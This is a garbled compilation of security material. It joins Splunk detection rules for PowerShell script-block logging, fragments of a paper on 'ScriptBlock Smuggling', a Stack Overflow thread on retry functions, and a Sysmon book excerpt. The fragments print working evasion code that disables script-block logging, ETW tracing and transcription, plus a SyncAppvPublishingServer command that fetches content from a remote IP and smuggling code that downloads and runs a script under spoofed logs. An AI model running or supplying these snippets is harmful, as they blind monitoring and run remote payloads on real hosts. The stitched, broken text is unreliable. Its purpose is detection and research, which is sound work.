Try in Splunk Security Cloud
Description
- Type: TTP
Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud
- Last Updated: 2024-05-30
- Author: Steven Dick
- ID: 4a3f2a7d-6402-4e64-a76a-869588ec3b57
Annotations
ATT&CK
ATT&CK
ID | Technique | Tactic |
---|---|---|
T1059.001 | PowerShell | Execution |
T1105 | Ingress Tool Transfer | Command And Control |
Kill Chain Phase
- Installation
- Command and Control
NIST
- DE.CM
CIS20
- CIS 10
CVE
Search
1
2
3
4
5
6
7
8
9
10
`powershell` EventCode=4104 ScriptBlockText IN ("*http:*","*https:*")
| regex ScriptBlockText="(\"?(https?:\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()@:%_\+.~#?&\/=]*))\"?(?:,
|\))?){2,}"
| rex max_match=20 field=ScriptBlockText "(?<url>https?:\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()@:%_\+.~#?&\/=]*))"
| eval Path = case(isnotnull(Path),Path,true(),"unknown")
| stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user values(url) as url dc(url) as url_count by ActivityID, Computer, EventCode
| rename Computer as dest, EventCode as signature_id
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `powershell_script_block_with_url_chain_filter`
Macros
Required fields
List of fields required to use this analytic.
- _time
- EventCode
- ActivityID
- Computer
- ScriptBlockText
How To Implement
Known False Positives
Unknown, possible custom scripting.
Associated Analytic Story
RBA
Risk Score | Impact | Confidence | Message |
---|---|---|---|
80.0 | 100 | 80 | A suspicious powershell script used by $user$ on host $dest$ contains $url_count$ URLs in an array, this is commonly used for malware. |
Reference
Test Dataset
Replay any dataset to Splunk Enterprise by using our replay.py
tool or the UI.
Alternatively you can replay a dataset into a Splunk Attack Range
1. Introduction
2. Background
2.1. .NET Framework
2.2. PowerShell
2.3. Antimalware Scan Interface
2.4. Abstract Syntax Trees
An AST is created by parsing the source code of a program, decomposing the code into individual tokens, and then organizing those tokens into a tree-like structure. Each node in the tree represents a different construct in the language, such as a function, loop, or expression. The tree is abstract in the sense that it does not include all of the details from the source code, such as comments and white space, but instead focuses on the meaningful elements of the program. ASTs are the “magic” behind compilers, an intermediate transformation between higher-level languages and machine code. Figure 3 shows an example of the compilation process. In addition to the compilation, ASTs are useful for tasks such as code analysis, code generation, and program manipulation as they provide a more easily understood representation of the code than the raw source code.
2.5. ScriptBlocks
2.6. ScriptBlock Logging
3. ScriptBlock Smuggling
3.1. Comparison with PowerShell Core
3.2. Security Concerns of ScriptBlock Smuggling
3.3. Bypassing AMSI Detection
3.4. Log Spoofing
3.5. ScriptBlock Smuggling Example
3.6. Real-World Case Study
4. Mitigations against ScriptBlock Smuggling
The PowerShell engine needs significant refinement to achieve consistency in AST generation. The goal is to ensure that the AST produced during the compilation of PowerShell scripts is identical to the one analyzed during AMSI scanning. This step is critical to eliminate discrepancies that could be exploited for smuggling code.
Enhanced integration of the AMSI with PowerShell involves closer coupling of the AMSI scanning process with the PowerShell execution pipeline. This integration ensures that the AST evaluated by the AMSI is an exact representation of the code being executed.
The primary benefits of this approach are the enhanced detection of sophisticated evasion techniques, more streamlined processing due to a unified AST generation process, and the ability to detect malicious activities earlier. However, this strategy poses challenges with the complexity of implementing such changes in the PowerShell engine, the potential performance overheads due to the integrated scanning process, and ensuring backward compatibility with existing scripts and tools.
5. Conclusions
Future Work
Author Contributions
Funding
This research received no external funding.
Institutional Review Board Statement
The views expressed in this paper are those of the authors, and do not reflect the official policy or position of the United States Air Force, Department of Defense, or the U.S. Government. This document has been approved for public release; distribution unlimited, case #88ABW-2023-0759.
Data Availability Statement
Conflicts of Interest
The authors declare no conflicts of interest.
Abbreviations
APT | Advanced Persistent Threat |
CLR | Common Language Runtime |
AMSI | Antimalware Scan Interface |
DLL | Dynamic Link Library |
C2 | Command and Control |
CIL | Common Intermediate Language |
AST | Abstract Syntax Tree |
API | Application Programming Interface |
EDR | Endpoint Detection and Response |
UAC | User Access Control |
VBA | Visual Basic for Applications |
JIT | Just-in-Time Compiler |
COM | Component Object Model |
SIEM | Security Information and Event Management |
RAT | Remote Access Trojan |
References
Figure 1.
PowerShell execution pipeline within the PowerShell Runspace and the CLR.
Figure 1.
PowerShell execution pipeline within the PowerShell Runspace and the CLR.
Figure 2.
Security architecture for PowerShell and .NET assembly load using AMSI.dll.
Figure 2.
Security architecture for PowerShell and .NET assembly load using AMSI.dll.
Property | Description |
---|---|
Extent | An object that represents the location of the script block in the source code. It provides information such as the start and end positions of the script block, as well as the file name and line number where the script block is defined. |
Parent | A reference to the parent script block, if any. This allows nested script blocks to be created and tracked. The Parent property will be null if the script block is defined at the top level. |
BeginBlock | A script block that is executed before the main script block. It is typically used for setup tasks or variable initialization. |
ParamBlock | A script block that defines the parameters of the script block. It is executed before the main script block and allows the script to accept input from the user. |
EndBlock | A script block that is executed after the main script block. It is typically used for cleanup tasks or final output processing. |
DynamicParamBlock | A script block that is executed dynamically based on the input provided to the script block. It is used to dynamically modify the parameters the script block accepts based on the input. |
Disclaimer/Publisher’s Note: The statements, opinions and data contained in all publications are solely those of the individual author(s) and contributor(s) and not of MDPI and/or the editor(s). MDPI and/or the editor(s) disclaim responsibility for any injury to people or property resulting from any ideas, methods, instructions or products referred to in the content. |
Try in Splunk Security Cloud
Description
- Type: Hunting
Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud
- Last Updated: 2024-05-21
- Author: Mauricio Velazco, Splunk
- ID: 80879283-c30f-44f7-8471-d1381f6d437a
Annotations
ATT&CK
ATT&CK
ID | Technique | Tactic |
---|---|---|
T1033 | System Owner/User Discovery | Discovery |
Kill Chain Phase
- Exploitation
NIST
- DE.AE
CIS20
- CIS 10
CVE
Search
1
2
3
4
5
6
`powershell` EventCode=4104 ScriptBlockText = "*[System.Security.Principal.WindowsIdentity]*" ScriptBlockText = "*GetCurrent()*"
| stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID
| rename Computer as dest, UserID as user
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `getcurrent_user_with_powershell_script_block_filter`
Macros
Required fields
List of fields required to use this analytic.
- _time
- Path
- Message
- OpCode
- ComputerName
- User
- EventCode
How To Implement
Known False Positives
Associated Analytic Story
RBA
Risk Score | Impact | Confidence | Message |
---|---|---|---|
15.0 | 30 | 50 | System user discovery on $dest$ by $user$ |
Reference
Test Dataset
Replay any dataset to Splunk Enterprise by using our replay.py
tool or the UI.
Alternatively you can replay a dataset into a Splunk Attack Range
function Execute-WithRetry([ScriptBlock]$command) {
$Stoploop = $false
$count = 0
do {
try {
& $command
Write-Host "Download completed"
$Stoploop = $true
}
catch {
if ($count -eq 3) {
Write-Host "Could not download after 3 retries."
$Stoploop = $true
}
else {
Write-Host "Could not download the files retrying in 5 seconds..."
Write-Host "Executing: $($MyInvocation.MyCommand.ScriptBlock)"
Start-Sleep -Seconds 5
}
}
$count++
}
While ($Stoploop -eq $false)
pause
}
Execute-WithRetry {
Test-Connection -ComputerName 192.10.129.15 -ErrorAction Stop
}
67 gold badges673 silver badges862 bronze badges
asked Nov 3, 2023 at 15:45
function Invoke-Retry {
param([scriptblock]$Command)
$stop = $false
$count = 0
$ErrorActionPreference = 'Stop'
do {
try {
&$Command
Write-Host "Download completed"
$stop = $true
}
catch {
if ($count -ge 3) {
Write-Host "Could not download after 3 retries."
$stop = $true
}
else {
Write-Host "Could not download the files, retrying in 5 seconds"
Write-Host "Error occurred while executing: `n>> $($_.InvocationInfo.Line)" -ForegroundColor Red
Start-Sleep -Seconds 5
}
}
$count++
} while (-not $stop)
pause
}
PS ~> Invoke-Retry {
Test-Connection -ComputerName doesntexist
}
Could not download the files retrying in 5 seconds
Error occurred while executing:
>> Test-Connection -ComputerName doesntexist
Could not download the files retrying in 5 seconds
Error occurred while executing:
>> Test-Connection -ComputerName doesntexist
Could not download the files retrying in 5 seconds
Error occurred while executing:
>> Test-Connection -ComputerName doesntexist
Could not download after 3 retries.
Press Enter to continue...:
Note: starting with version 7.4, the invocation info class also exposes the full extent of any multiline statements via the Statement
property
answered Nov 3, 2023 at 17:04
Mathias R. JessenMathias R. Jessen
12 gold badges164 silver badges220 bronze badges
Write-Host "Executing: {$command}"
- The string representation is exactly what you place inside
{...}
, i.e. a script-block literal, and can therefore include newlines.
A simplified example:
# Sample function that prints the source code of a given script block.
function Foo { param([scriptblock] $Command) "Source code: {$Command}" }
# Sample call
# ->
# "Source code: { Get-Date -Format 'yyyy' }"
Foo -Command { Get-Date -Format 'yyyy' }
# -> " Get-Date -Format 'yyyy' "
{ Get-Date -Format 'yyyy' }.ToString()
answered Nov 3, 2023 at 16:19
67 gold badges673 silver badges862 bronze badges
Sysmon64.exe -accepteula -i sysmonconfig-export.xml
Figure 2.11 – Sysmon installation
Figure 2.12 – Group Policies to enable PowerShell Logging
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static') If ($GroupPolicyField) { $GroupPolicyCache = $GroupPolicyField.GetValue($null) Write-Host("Before") $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl If ($GroupPolicyCache['ScriptB'+'lockLogging']) { $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 } $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() $val.Add('EnableScriptB'+'lockLogging', 0) $val.Add('EnableScriptB'+'lockInvocationLogging', 0) $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val Write-Host("After") $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl }
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0
<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>
We will get an event that could potentially trigger
Figure 2.14 – Sysmon detects registry change
SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"
Sysmon will detect activity, but not prevent
Figure 2.15 – Suspicious outbound connection detected by Sysmon
- Sysmon
- Access/alter configuration
- Process injection
Note: All code samples shown in the post can be found in our repo here
while b ≠ 0:
if a > b:
a = a − b
else
b = b − a
return a
Then, the compiler would convert it to look something like this:




[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
$ParamBlock,
$BeginBlock,
$ProcessBlock,
$EndBlock,
$DynamicParamBlock
)

$wc=New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
$null,
$null,
$null
ExecutedAst.EndBlock.Copy(),
$null)
$Sb = $Ast.GetScriptBlock()

The PowerShell code can then be executed:

This example executes Write-Output ‘amsicontext’, which demonstrates the ability to bypass AMSI without needing any patching or reflection. When we run the code, we can check the logs and see that it only shows Write-Output Hello once again. As a side note, for some reason, using ps.addcommand does not result in a log being generated and executed, but using ps.addscript does generate logs as expected.


Then, the next time they execute Invoke-Expression, their code will behave differently, while the logs will look like the code they intended to execute.
